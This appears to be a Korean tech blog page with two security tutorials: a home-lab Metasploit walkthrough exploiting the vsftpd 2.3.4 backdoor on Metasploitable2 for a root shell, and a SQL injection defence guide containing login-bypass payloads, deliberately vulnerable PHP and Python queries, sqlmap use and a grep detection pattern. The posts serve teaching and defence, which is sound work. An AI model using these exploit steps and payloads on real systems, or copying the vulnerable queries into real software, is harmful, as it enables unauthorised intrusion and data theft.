13년차의 서버실

서버, 인프라, 홈랩 기술 블로그

[태그:] 보안 테스트

  • [보안] Metasploit 프레임워크를 활용한 모의 해킹: 실제 공격 기법 분석

    [보안] Metasploit 프레임워크를 활용한 모의 해킹: 실제 공격 기법 분석

    [보안] Metasploit 프레임워크를 활용한 모의 해킹: 실제 공격 기법 분석

    안녕하세요, 13년차 서버실 지킴이입니다. 인프라 엔지니어로 일하다 보면 항상 이런 고민을 하거든요. ‘내가 구축하고 관리하는 시스템은 과연 안전할까?’ 말로만 보안을 외치는 게 아니라, 실제 공격자들이 어떤 방식으로 시스템의 약점을 파고드는지 직접 경험해봐야 방어 전략도 제대로 세울 수 있잖아요? 그래서 오늘은 Metasploit(메타스플로잇) 모의 해킹 프레임워크를 활용해서 실제 공격 기법을 분석하고, 이를 통해 우리 시스템의 보안을 어떻게 강화할 수 있을지 이야기해보려 합니다.

    물론, 여기서 한 가지 짚고 넘어가야 할 점이 있습니다. ⚠️ 본 글은 보안 학습과 본인이 관리하는 시스템의 방어를 위한 교육 목적입니다. 타인의 시스템에 대한 무단 접근·공격은 불법이며 법적 처벌 대상입니다. 저는 홈랩에서 다양한 기술을 직접 실험해보면서 얻은 경험들을 공유하는 것이니, 여러분도 반드시 허가된 환경에서만 테스트하시길 강력히 권고합니다. 저도 처음엔 멋모르고 이것저것 해보다가 아찔했던 경험이 있거든요. ㅎㅎ

    Metasploit 프레임워크 주요 구성 요소 및 워크플로우 다이어그램

    Metasploit 프레임워크는 다양한 모듈로 구성되어 모의 해킹 과정을 체계적으로 지원합니다.

    Metasploit 프레임워크란? 모의 해킹의 첫걸음

    Metasploit Framework(메타스플로잇 프레임워크, MSF)는 쉽게 말해 ‘모의 해킹 도구들의 종합 선물 세트’라고 보시면 됩니다. 수많은 취약점(Vulnerability)들을 공격하는 익스플로잇(Exploit) 코드와, 성공적으로 시스템에 침투했을 때 실행할 수 있는 다양한 페이로드(Payload)들을 모아놓은 오픈소스 프로젝트죠. 보안 전문가들이 Penetration Test(페네트레이션 테스트, 침투 테스트)를 수행할 때 가장 많이 활용하는 도구 중 하나입니다. 저도 제 홈랩의 가상 머신들을 대상으로 주기적으로 Metasploit을 돌려보면서 ‘아, 이렇게 뚫릴 수도 있겠구나’ 하고 깜짝 놀랄 때가 많습니다.

    Metasploit은 크게 다음과 같은 모듈들로 구성되어 있어요.

    • Exploits (익스플로잇): 특정 취약점을 공격해서 시스템에 침투하는 코드입니다. 예를 들어, 웹 서버의 특정 버전에서 발견된 버그를 이용해 원격 코드 실행(Remote Code Execution, RCE)을 시도하는 거죠.
    • Payloads (페이로드): 익스플로잇이 성공했을 때 대상 시스템에서 실행되는 악성 코드입니다. 쉘(Shell)을 얻거나, 백도어를 설치하거나, 시스템 정보를 빼내오는 등 다양한 목적을 가집니다. 대표적으로 Meterpreter(미터프리터)가 있는데, 이건 정말 강력한 후속 작업 도구더라고요.
    • Auxiliary (보조 모듈): 직접적인 공격보다는 정보 수집(Scanning), 퍼징(Fuzzing) 등 다양한 보조 작업을 수행하는 모듈입니다. Nmap으로 포트 스캔하는 것처럼, Metasploit 내에서도 다양한 스캔 기능을 제공해요.
    • Post (포스트 모듈): 침투에 성공한 후, 추가적인 정보 수집이나 권한 상승(Privilege Escalation) 등 후속 작업을 수행하는 모듈입니다.

    이 모듈들을 어떻게 조합하느냐에 따라 다양한 모의 해킹 시나리오를 만들어볼 수 있습니다. 아래 표에서 각 모듈의 역할을 좀 더 자세히 비교해볼게요.

    모듈 유형 주요 역할 예시 기능 실전 활용
    Exploit 취약점 공격 및 침투 원격 코드 실행, 버퍼 오버플로우 대상 시스템에 초기 접근 권한 획득
    Payload 침투 후 실행될 코드 쉘 연결, Meterpreter 세션, 데이터 유출 침투 성공 후 원하는 작업 수행
    Auxiliary 정보 수집 및 보조 작업 포트 스캔, 서비스 버전 확인, 로그인 무작위 대입 공격 전 대상 시스템 정보 파악
    Post 침투 후 추가 작업 권한 상승, 시스템 정보 수집, 흔적 삭제 초기 침투 후 시스템 내부 탐색 및 제어

    실전 구현: 가상 환경에서 취약점 공격 시연하기

    자, 이제 직접 Metasploit을 활용해서 취약점을 분석해보겠습니다. 저는 Kali Linux(칼리 리눅스) 환경에 Metasploit이 설치되어 있다고 가정하고, 제 홈랩에 있는 Metasploitable2(메타스플로이터블2)라는 고의적으로 취약하게 만들어진 가상 머신을 대상으로 테스트할 거예요. 이 Metasploitable2는 다양한 옛날 취약점들이 그대로 노출되어 있어서 학습용으로 정말 좋거든요.

    1. Metasploit 콘솔 실행

    먼저 터미널에서 msfconsole 명령어로 Metasploit 프레임워크 콘솔을 실행합니다. 처음 실행하면 데이터베이스 초기화 등으로 시간이 좀 걸릴 수 있어요. 저는 늘 이 로고를 보면서 ‘오늘도 뭔가 새로운 걸 배우겠구나’ 하고 기대하곤 합니다.

    
    # msfconsole
    
    # _______ _________ _______  _______ _________ _______  _______ 
    # (  ___  )\__   __/(  ____ \(  ___  )\__   __/(  ____ \(  ___  )
    # | (   ) |   ) (   | (    \/| (   ) |   ) (   | (    \/| (   ) |
    # | |   | |   | |   | (__    | |   | |   | |   | (__    | |   | |
    # | |   | |   | |   |  __)   | |   | |   | |   |  __)   | |   | |
    # | |   | |   | |   | (      | |   | |   | |   | (      | |   | |
    # | (___) |___) (___| (____/\| (___) |___) (___| (____/\| (___) |
    # (_______)_______/(_______/(_______)_______/(_______/(_______)_
    # 
    #       =[ metasploit v6.3.36-dev                          ]
    # + -- --=[ 2419 exploits - 1205 auxiliary - 404 post       ]
    # + -- --=[ 671 payloads - 45 encoders - 10 nops           ]
    # + -- --=[ 8 evasion                                      ]
    
    # msf6 > 
    

    2. 취약점 검색 및 익스플로잇 선택

    Metasploitable2에는 vsftpd 2.3.4 버전의 백도어 취약점이 존재해요. 이 취약점을 이용해서 침투를 시도해보겠습니다. 먼저 search 명령어로 관련 익스플로잇을 찾아봅니다.

    
    msf6 > search vsftpd
    
    Matching Modules
    ================
    
       #  Name                                  Disclosure Date  Rank    Check  Description
       --  ----
       0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  Yes    VSFTPD v2.3.4 Backdoor Command Execution
    
    
    msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
    msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
    

    use 명령어로 해당 익스플로잇을 선택하면 프롬프트가 바뀌는 걸 볼 수 있죠? 이제 이 익스플로잇에 필요한 옵션들을 설정해야 합니다.

    Metasploit 콘솔에서 vsftpd 익스플로잇 검색 및 옵션 설정 화면

    Metasploit 콘솔에서 익스플로잇을 선택하고 옵션을 설정하는 과정입니다.

    3. 공격 옵션 설정하기

    show options 명령어로 어떤 옵션들을 설정해야 하는지 확인합니다. 여기서 가장 중요한 건 RHOSTS(대상 IP 주소)와 LHOST(내 공격자 IP 주소)입니다.

    
    msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
    
    Module options (exploit/unix/ftp/vsftpd_234_backdoor):
    
       Name     Current Setting  Required  Description
       ----     ---------------  --------  -----------
       RHOSTS                    yes       The target host(s), range CIDR identifier
       RPORT    21               yes       The target port (TCP)
    
    
    Exploit target:
    
       Id  Name
       --  ----
       0   Automatic
    
    
    msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.100  # Metasploitable2 IP 주소
    RHOSTS => 192.168.1.100
    msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 192.168.1.50   # Kali Linux IP 주소
    LHOST => 192.168.1.50
    msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
    

    여기서 RHOSTS(원격 호스트)는 공격 대상 시스템의 IP 주소이고, LHOST(로컬 호스트)는 공격을 시도하는 Kali Linux 시스템의 IP 주소입니다. 저도 처음에는 이걸 헷갈려서 한참 삽질했었는데, 쉽게 생각해서 ‘공격받을 놈’은 RHOSTS, ‘공격할 놈(나)’은 LHOST라고 기억하시면 편할 거예요.

    4. 익스플로잇 실행 및 결과 확인

    모든 옵션 설정이 끝났으면 exploit 또는 run 명령어로 공격을 실행합니다. 성공하면 Command Shell Session(명령 쉘 세션)을 얻게 됩니다.

    
    msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
    
    [*] 192.168.1.100:21 - Backdoored VSFTPD v2.3.4 found
    [*] 192.168.1.100:21 - CMD: Trying command: id
    [*] 192.168.1.100:21 - CMD: Command output: uid=0(root) gid=0(root) groups=0(root)
    [+] 192.168.1.100:21 - CMD: Command shell session 1 opened (192.168.1.50:4444 -> 192.168.1.100:62000) at 2023-10-26 10:30:00 KST
    
    # command shell session 1
    id
    whoami
    pwd
    ls -al
    exit
    

    uid=0(root) 보이시나요? 이건 공격 대상 시스템에서 root(루트) 권한을 얻었다는 뜻입니다. 실제 환경이라면 정말 심각한 상황이죠. 이런 방식으로 공격이 성공하면, 공격자는 시스템의 모든 권한을 가지고 원하는 작업을 수행할 수 있습니다.

    ⚠️ 주의사항 및 트러블슈팅 팁

    제가 Metasploit을 사용하면서 겪었던 몇 가지 주의사항과 트러블슈팅 팁을 공유합니다.

    • 네트워크 설정: 가상 머신(Kali Linux, Metasploitable2) 간의 네트워크 설정은 정말 중요합니다. NAT(Network Address Translation) 모드보다는 Bridged(브리지) 모드로 설정해서 서로 같은 네트워크 대역에 있도록 하는 게 테스트하기 편하더라고요. IP 주소가 서로 통신 가능한지 ping 명령어로 꼭 확인하세요.
    • 방화벽 확인: 대상 시스템이나 공격자 시스템의 방화벽이 특정 포트를 막고 있지 않은지 확인해야 합니다. 특히 페이로드가 리버스 쉘(Reverse Shell)로 동작할 경우, 공격자(LHOST) 시스템의 특정 포트가 열려 있어야 대상 시스템에서 연결이 올 수 있습니다.
    • 익스플로잇 버전 호환성: 세상의 모든 취약점을 공격할 수 있는 만능 익스플로잇은 없습니다. 특정 익스플로잇은 특정 소프트웨어의 특정 버전에서만 동작해요. 따라서 정보 수집 단계에서 대상 시스템의 OS, 서비스, 버전 정보를 정확히 파악하는 것이 중요합니다. nmap -sV [대상 IP] 같은 명령어로 서비스 버전을 확인하는 습관을 들이세요.
    • 시스템 리소스: Metasploit은 꽤 많은 리소스를 사용합니다. 특히 Kali Linux를 VM으로 운영한다면, 충분한 RAM(최소 4GB)과 CPU 코어를 할당해주는 게 좋아요. 그렇지 않으면 콘솔이 버벅거리거나 익스플로잇 실행 중 멈추는 불상사가 생길 수 있습니다.

    검증 및 결과 분석: 방어 전략 수립

    이렇게 Metasploit을 통해 Command Shell을 얻는 과정을 경험하면, ‘아, 내 시스템의 이 부분이 이렇게 취약했구나’ 하고 직접적으로 느낄 수 있습니다. 제가 얻은 쉘 세션은 일종의 ‘발견된 취약점 보고서’ 같은 거죠. 단순히 ‘취약점이 있다’는 경고를 받는 것보다, 직접 침투에 성공하는 경험은 훨씬 강력한 동기 부여가 됩니다.

    이 결과는 다음과 같은 방어 전략을 세우는 데 활용될 수 있습니다.

    • 취약점 패치 및 업데이트: 이번 시나리오에서는 vsftpd 2.3.4의 백도어 취약점을 이용했는데, 이는 이미 오래전에 알려진 취약점입니다. 모든 소프트웨어는 최신 버전으로 유지하고, 보안 패치(Security Patch)를 즉시 적용하는 것이 가장 기본적인 방어입니다.
    • 불필요한 서비스 중지: 운영 중인 서버에서 사용하지 않는 서비스(FTP, Telnet 등)는 과감히 중지하거나 삭제해야 합니다. 공격 표면(Attack Surface)을 최소화하는 것이 중요하거든요.
    • 강력한 접근 제어: 관리자 계정의 비밀번호는 복잡하게 설정하고, SSH(Secure Shell)나 VPN(Virtual Private Network)을 통한 안전한 접근 방식을 강제해야 합니다.
    • 보안 솔루션 도입: IDS/IPS(침입 탐지/방지 시스템)나 WAF(웹 방화벽) 같은 보안 솔루션을 도입하여 비정상적인 트래픽이나 공격 시도를 탐지하고 차단하는 것도 중요합니다.
    모의 해킹 후 시스템 방어 전략 수립 인포그래픽

    모의 해킹으로 발견된 취약점은 시스템 방어 전략을 강화하는 중요한 밑거름이 됩니다.

    마무리하며: Metasploit, 방패를 벼리는 망치

    오늘은 Metasploit 모의 해킹 프레임워크를 활용해서 가상 환경에서 취약점을 분석하고, 실제 공격 기법을 이해하는 과정을 살펴봤습니다. 13년차 인프라 엔지니어로서 제가 늘 강조하는 건 ‘공격자의 시야’를 가져야 한다는 겁니다. 그래야 내 시스템의 약점을 제대로 파악하고, 강력한 방어책을 세울 수 있거든요. Metasploit은 그런 시야를 제공하는 아주 훌륭한 도구라고 생각합니다.

    이 글을 통해 Metasploit이 단순히 ‘해킹 도구’가 아니라, ‘보안을 강화하기 위한 강력한 학습 및 검증 도구’라는 점을 여러분이 느끼셨으면 좋겠습니다. 만약 여러분의 시스템에 어떤 취약점이 있는지 직접 파악하고 싶다면, 반드시 허가된 환경에서 Metasploit을 활용해보세요. 그 과정에서 얻는 인사이트는 어떤 보안 서적보다 값질 겁니다.

    다음 글에서는 Metasploit으로 찾은 취약점을 어떻게 막을지, 그리고 IDS/IPS(침입 탐지/방지 시스템)의 로그를 분석하여 공격을 탐지하는 방법에 대해 더 구체적으로 다뤄보겠습니다. 궁금한 점이 있다면 언제든지 댓글로 남겨주세요!

  • [보안] SQL 인젝션 방어: 모의 해킹 사례로 본 실전 대응

    [보안] SQL 인젝션 방어: 모의 해킹 사례로 본 실전 대응

    [보안] SQL 인젝션 방어: 모의 해킹 사례로 본 실전 대응

    웹 개발 13년, 인프라 운영 경험으로 느낀 건 SQL 인젝션 방어가 아직도 현장에서 가장 흔한 취약점이라는 점입니다. 특히 급하게 만든 관리자 페이지, 레거시 PHP 코드, 내부 업무용 도구에서 툭 튀어나오더라고요. 대단한 제로데이보다 기본기 부족에서 더 많이 터집니다. 이번 글은 제가 홈랩과 사내 교육 환경에서 직접 재현했던 모의 해킹 사례를 바탕으로, SQL 인젝션이 어떻게 발견되고 어떤 순서로 막아야 하는지 정리한 글입니다. 침투 테스트를 준비하는 분이나 OWASP Top 10을 실무 관점에서 이해하고 싶은 분께 도움이 될 거에요.

    처음엔 “요즘 누가 저렇게 단순한 실수를 해?” 싶었는데, 막상 로그를 따라가 보니 사소한 문자열 결합 하나가 인증 우회(Authentication Bypass)로 이어지더라고요. 여기서 중요한 포인트! SQL 인젝션 방어는 웹방화벽 하나 올린다고 끝나는 문제가 아니라, 코드 작성 습관과 검증 절차까지 같이 바뀌어야 합니다.

    SQL 인젝션 방어 아키텍처와 공격 흐름을 보여주는 다이어그램

    사용자 입력이 웹 서버, 애플리케이션, 데이터베이스로 흐르면서 어느 지점에서 검증과 바인딩이 필요한지 보여주는 개요 이미지입니다.

    1. 왜 아직도 SQL 인젝션이 계속 나올까요?

    쉽게 말해 SQL 인젝션(SQL Injection)은 사용자 입력값이 쿼리 문자열에 그대로 섞여 들어가는 문제입니다. 공격자는 입력창에 단순한 아이디나 검색어 대신 SQL 구문 일부를 넣고, 애플리케이션이 그걸 그대로 실행하게 만드는 거죠.

    제가 실무에서 자주 봤던 패턴은 이런 식입니다.

    • 로그인 페이지에서 아이디와 비밀번호를 문자열로 이어붙임
    • 검색 페이지에서 LIKE 조건을 직접 조합함
    • 정렬 파라미터(sort, order by)를 화이트리스트 없이 그대로 사용함
    • 에러 메시지를 자세히 노출해서 DB 구조를 유추하게 만듦

    OWASP Top 10에서도 인젝션 계열 취약점은 계속 중요하게 다뤄집니다. 이름이나 분류는 시기에 따라 조금씩 달라져도, 본질은 같습니다. 신뢰하면 안 되는 입력을 신뢰했다. 결국 여기로 돌아오더라고요.

    2. 개념부터 짚고 가보겠습니다

    2-1. 취약한 쿼리는 어떻게 만들어질까요?

    예를 들어 로그인 로직이 아래처럼 되어 있다고 해보겠습니다. 이런 코드는 교육용 예제에서 정말 많이 보지만, 레거시 시스템에서도 형태만 조금 바뀐 채 남아 있는 경우가 있습니다.

    <?php
    $id = $_POST['id'];
    $pw = $_POST['pw'];
    
    $sql = "SELECT * FROM users WHERE id = '$id' AND pw = '$pw'";
    $result = mysqli_query($conn, $sql);
    ?>

    문제는 <code>$id나 $pw에 작은따옴표와 조건식을 넣을 수 있다는 점입니다. 예를 들어 공격자가 아래처럼 넣으면요.

    id: admin' --
    pw: anything

    실제 쿼리는 대략 이런 식으로 바뀝니다.

    SELECT * FROM users WHERE id = 'admin' --' AND pw = 'anything'

    -- 뒤는 주석 처리되니 비밀번호 검증이 사실상 사라집니다. 처음 보면 “이게 진짜 먹나?” 싶은데, 조건식과 주석 규칙을 이해하면 왜 위험한지 바로 보입니다.

    2-2. SQL 인젝션 방어의 핵심은 뭘까요?

    제가 여러 번 삽질해보고 정리한 기준은 딱 네 가지입니다.

    1. Prepared Statement(준비된 문장) 또는 Parameterized Query(매개변수화 쿼리) 사용
    2. Input Validation(입력 검증)과 Allowlist(허용 목록) 적용
    3. Least Privilege(최소 권한) 원칙으로 DB 계정 분리
    4. Logging & Monitoring(로깅과 모니터링)으로 이상 징후 탐지

    많은 분이 1번만 기억하시는데, 실제로 운영해보면 3번과 4번이 사고 범위를 줄이는 데 정말 큽니다.

    3. 모의 해킹 사례: 로그인 우회 취약점 재현

    이 사례는 실제 고객 시스템이 아니라, 제가 홈랩에서 만든 교육용 환경입니다. 민감한 정보 없이 재현 가능한 형태로 구성했고, 침투 테스트 관점에서 어떤 흐름으로 점검하는지 보여드리려고 준비했습니다.

    3-1. 테스트 환경

    구성 요소 역할 설명
    웹 애플리케이션 로그인 기능 제공 의도적으로 취약한 문자열 결합 방식 사용
    MariaDB/MySQL 계열 DB 사용자 정보 저장 일반적인 LAMP 계열 환경과 유사하게 구성
    Burp Suite Community 요청 가로채기 프록시(Proxy) 용도로 활용
    sqlmap 자동화 점검 보조 수동 확인 후 보조적으로 사용

    실제로 써보니까 자동화 도구부터 돌리는 것보다, 먼저 요청 구조를 사람이 이해하는 게 훨씬 중요하더라고요. 자동화는 빨리 찾게 해주지만, 원인 분석까지 대신해주진 않습니다.

    3-2. 1단계: 요청 패턴 확인

    1. 브라우저 프록시를 Burp로 설정합니다.
    2. 로그인 페이지에 임의 계정으로 요청을 보냅니다.
    3. POST Body에 id, pw가 어떻게 전달되는지 확인합니다.
    4. 응답 코드와 에러 메시지 차이를 비교합니다.
    POST /login HTTP/1.1
    Host: lab.local
    Content-Type: application/x-www-form-urlencoded
    
    id=test&pw=test1234

    제가 가장 먼저 보는 건 세 가지입니다. 입력값 필터링이 있는지, 실패 응답이 모두 같은지, 그리고 데이터베이스 에러가 노출되는지요. 이 세 개만 봐도 절반은 감이 옵니다.

    3-3. 2단계: 수동 페이로드로 반응 확인

    다음으로는 아주 기본적인 문자열부터 넣어봅니다.

    '\n"\n' OR '1'='1

    만약 작은따옴표 하나만 넣었는데 500 에러가 나거나 SQL 문법 오류가 보이면, 일단 입력값이 쿼리에 직접 반영되고 있을 가능성이 큽니다. 여기서 너무 세게 들어가지 말고, 반응 차이를 보는 수준에서 멈추는 게 좋습니다. 모의 해킹은 증명이 목적이지, 실제 데이터 훼손이 목적이 아니거든요.

    모의 해킹 사례에서 로그인 요청을 분석하는 SQL 인젝션 방어 테스트 장면

    로그인 요청의 파라미터 구조와 응답 차이를 분석하는 장면을 보여주는 이미지입니다.

    3-4. 3단계: 로그인 우회 확인

    교육용 환경에서는 아래 같은 페이로드로 우회가 재현됐습니다.

    id=admin' -- \npw=anything

    또는 조건식을 분기시키는 방식도 가능합니다.

    id=' OR '1'='1' -- \npw=anything

    제가 직접 해보니 재미있는 지점이 하나 있었습니다. 개발자는 “비밀번호도 같이 검사하니까 괜찮다”라고 생각했는데, 실제로는 아이디 필드 하나만으로도 뒤쪽 조건이 다 무력화되더라고요. 현장에서 정말 흔한 착각입니다.

    4. 취약한 코드와 안전한 코드 비교

    4-1. 문자열 결합 방식의 문제

    # vulnerable example
    username = request.form['username']
    password = request.form['password']
    query = f"SELECT id FROM users WHERE username = '{username}' AND password = '{password}'"
    cursor.execute(query)

    이 코드는 보기엔 간단하지만, 입력값에 쿼리 제어권을 넘겨주는 셈입니다. 저도 예전에 사내 도구를 빠르게 붙이다가 비슷한 유혹을 받은 적이 있는데요. “내부망인데 뭐” 하고 넘어가면 나중에 더 크게 돌아옵니다. 내부 시스템도 피싱이나 계정 탈취 이후엔 공격 표적이 되거든요.

    4-2. Prepared Statement로 수정

    # safer example
    username = request.form['username']
    password = request.form['password']
    query = "SELECT id FROM users WHERE username = %s AND password = %s"
    cursor.execute(query, (username, password))

    핵심은 DB 드라이버가 데이터와 쿼리 구조를 분리해서 처리하게 만드는 겁니다. 즉, 사용자 입력은 더 이상 SQL 구문이 아니라 단순 값으로만 취급됩니다. SQL 인젝션 방어의 가장 기본이자 가장 강력한 방법이죠.

    4-3. 정렬 조건은 따로 처리해야 합니다

    여기서 많이 놓치는 부분이 있습니다. 테이블명, 컬럼명, 정렬 방향 같은 건 파라미터 바인딩으로 막기 어려운 경우가 있거든요. 이런 값은 반드시 허용 목록으로 제한해야 합니다.

    allowed_sort = {"created_at", "username", "last_login"}
    sort = request.args.get("sort", "created_at")
    if sort not in allowed_sort:
        sort = "created_at"
    query = f"SELECT id, username, created_at FROM users ORDER BY {sort} DESC"

    처음엔 번거로워 보여도, 실제 운영을 생각하면 훨씬 낫습니다. 허용된 선택지만 열어두는 방식이 결국 유지보수도 편하더라고요.

    5. SQL 인젝션 방어 전략을 운영 관점에서 정리해보겠습니다

    5-1. 코드 레벨 방어

    • Prepared Statement를 기본값처럼 사용합니다.
    • ORM(Object-Relational Mapping)을 쓰더라도 Raw Query(직접 쿼리) 사용 지점을 점검합니다.
    • 에러 메시지에 SQL 구문이나 테이블명을 노출하지 않습니다.
    • 입력 길이 제한과 형식 검증을 함께 둡니다.

    5-2. DB 레벨 방어

    • 애플리케이션 계정에 DROP, ALTER 같은 불필요 권한을 주지 않습니다.
    • 읽기 전용 서비스는 Read-Only 계정을 분리합니다.
    • 운영 계정과 마이그레이션(Migration) 계정을 분리합니다.

    5-3. 인프라 레벨 방어

    • WAF(Web Application Firewall)는 보조 수단으로 둡니다.
    • 리버스 프록시(Reverse Proxy) 또는 API Gateway에서 비정상 패턴을 로깅합니다.
    • DB 접근 경로를 내부 네트워크로 제한합니다.
    • 감사 로그(Audit Log)와 애플리케이션 로그를 함께 봅니다.
    취약한 쿼리와 안전한 SQL 인젝션 방어 코드를 비교한 이미지

    문자열 결합 방식과 매개변수 바인딩 방식의 차이를 한눈에 보여주는 비교 이미지입니다.

    5-4. 어떤 방어가 어디까지 막아주나요?

    방어 방법 막아주는 범위 한계
    Prepared Statement 값 기반 입력을 통한 인젝션 차단 동적 컬럼/정렬명은 별도 검증 필요
    입력 검증 비정상 값 조기 차단 검증만으로 완전 방어는 어려움
    최소 권한 DB 계정 침해 시 피해 범위 축소 취약점 자체가 사라지진 않음
    WAF 알려진 패턴 필터링 우회 가능, 오탐 가능
    로그 모니터링 사후 탐지와 대응 속도 개선 예방책은 아님

    6. ⚠️ 실제로 많이 겪는 문제와 트러블슈팅

    제가 현업과 홈랩에서 자주 봤던 삽질 포인트를 정리해봤습니다. 저도 처음엔 헷갈렸는데, 이 부분만 잡아도 재발이 크게 줄었습니다.

    6-1. 이스케이프만 하면 된다고 믿는 경우

    문자 이스케이프(Escape)는 보조 수단입니다. DB 설정, 문자셋, 드라이버 차이 때문에 예상과 다르게 동작할 수 있습니다. 예전에 레거시 앱 하나에서 수동 이스케이프 함수만 믿고 있었는데, 특정 입력에서 필터 우회가 가능해서 결국 전부 Prepared Statement로 갈아탔습니다. 그때 좀 삽질했습니다 ㅎㅎ

    6-2. ORM 쓰니까 안전하다고 생각하는 경우

    ORM을 써도 Raw SQL을 직접 붙이면 똑같이 위험합니다. 특히 관리자 검색 기능이나 통계 쿼리에서 예외적으로 직접 작성한 SQL이 문제를 만들더라고요.

    6-3. 에러 페이지가 너무 친절한 경우

    운영 중 디버그 모드가 켜져 있으면 테이블명, 컬럼명, 스택 트레이스(Stack Trace)까지 노출됩니다. 공격자 입장에서는 힌트 모음집입니다. 운영 환경에서는 일반화된 오류 메시지만 보여주고, 상세 내용은 내부 로그로만 남겨야 합니다.

    6-4. 탐지 룰이 없어서 시도 자체를 모르는 경우

    이상하게도 방어 코드는 넣어두고 로그는 안 보는 팀이 꽤 있습니다. 아래처럼 웹 로그에서 단순 패턴이라도 먼저 잡아두면 도움이 됩니다.

    grep -Ei "union select|or 1=1|-- |sleep\(|benchmark\(" /var/log/nginx/access.log

    물론 이 방식은 완전하지 않습니다. 하지만 초기 탐지나 교육용 시연에는 꽤 직관적입니다. 이후엔 SIEM(Security Information and Event Management)이나 중앙 로그 수집으로 확장하면 좋고요.

    7. 검증: 수정 후 어떻게 확인할까요?

    수정했다고 바로 끝내면 안 됩니다. SQL 인젝션 방어는 재현 테스트와 회귀 테스트(Regression Test)까지 묶어야 진짜 닫힌 겁니다.

    1. 기존 정상 로그인/조회 기능이 그대로 동작하는지 확인합니다.
    2. 이전에 먹히던 페이로드가 더 이상 동작하지 않는지 확인합니다.
    3. 에러 메시지가 일반화되어 있는지 확인합니다.
    4. DB 계정 권한이 최소화되었는지 확인합니다.
    5. 로그에 공격 시도가 남는지 확인합니다.
    sqlmap -u "http://lab.local/login" \
      --data="id=test&pw=test1234" \
      --batch \
      --risk=1 \
      --level=1

    중요한 건 자동화 도구 결과를 맹신하지 않는 겁니다. 제가 직접 해보니, 방어가 잘 되어 있어도 앱 특성 때문에 의심 결과가 나오는 경우가 있었고요. 반대로 일부 동적 쿼리는 사람이 맥락을 봐야 진짜 위험성을 알 수 있었습니다.

    SQL 인젝션 방어 적용 전후 결과와 로그 분석을 보여주는 대시보드

    취약점 재현 실패, 로그 탐지 성공, 권한 축소 적용 여부를 시각적으로 확인하는 결과 이미지입니다.

    7-1. 간단 체크리스트

    • ✅ 모든 사용자 입력이 바인딩 처리되는가
    • ✅ 동적 정렬/필터 값은 허용 목록으로 제한되는가
    • ✅ 운영 에러 페이지에 SQL 정보가 노출되지 않는가
    • ✅ 앱 DB 계정이 과도한 권한을 갖고 있지 않은가
    • ✅ 침투 테스트 후 재검증 기록이 남아 있는가

    8. 정리와 다음 단계

    이번 모의 해킹 사례에서 핵심은 단순합니다. SQL 인젝션은 화려한 공격이 아니라, 입력을 쿼리 구조와 섞어버린 개발 습관에서 시작됩니다. 그리고 SQL 인젝션 방어는 Prepared Statement 하나로 출발하지만, 최소 권한, 에러 처리, 로깅, 재검증까지 이어져야 제대로 닫힙니다.

    혹시 지금 운영 중인 내부 도구가 있다면, 로그인과 검색 기능부터 먼저 보세요. 거기가 가장 자주 터집니다. 저도 처음엔 “이 정도는 괜찮겠지” 했다가 나중에 테스트 로그 보고 식은땀 흘린 적이 있거든요. 드디어 됐다! 싶은 순간은 보통 재현이 안 될 때가 아니라, 왜 안 되는지 근거까지 설명할 수 있을 때 오더라고요.

    다음 글에서는 XSS(Cross-Site Scripting)와 CSRF(Cross-Site Request Forgery)를 묶어서 다룰 예정입니다. 이전 글의 로그 분석 편도 같이 보시면 흐름이 더 잘 잡히실 겁니다.

    Prepared Statement, 입력 검증, 최소 권한, 모니터링을 한 장으로 요약한 마무리 이미지입니다.

    FAQ

    Q1. WAF만 있으면 SQL 인젝션 방어가 충분한가요?

    아닙니다. WAF는 우회 가능성이 있고, 애플리케이션 코드 수준 문제를 근본적으로 해결하지 못합니다. 보조 장비로 봐야 합니다.

    Q2. 내부망 서비스도 꼭 점검해야 하나요?

    네. 내부망 서비스는 방심하기 쉬워서 오히려 취약한 경우가 많습니다. 계정 탈취나 VPN 접속 이후 lateral movement의 출발점이 되기도 합니다.

    Q3. 침투 테스트는 어디부터 시작하면 좋을까요?

    로그인, 검색, 정렬, 필터, 다운로드 파라미터처럼 사용자 입력이 DB 질의와 연결되는 화면부터 시작하시면 됩니다. 이 순서가 실패 확률이 낮습니다.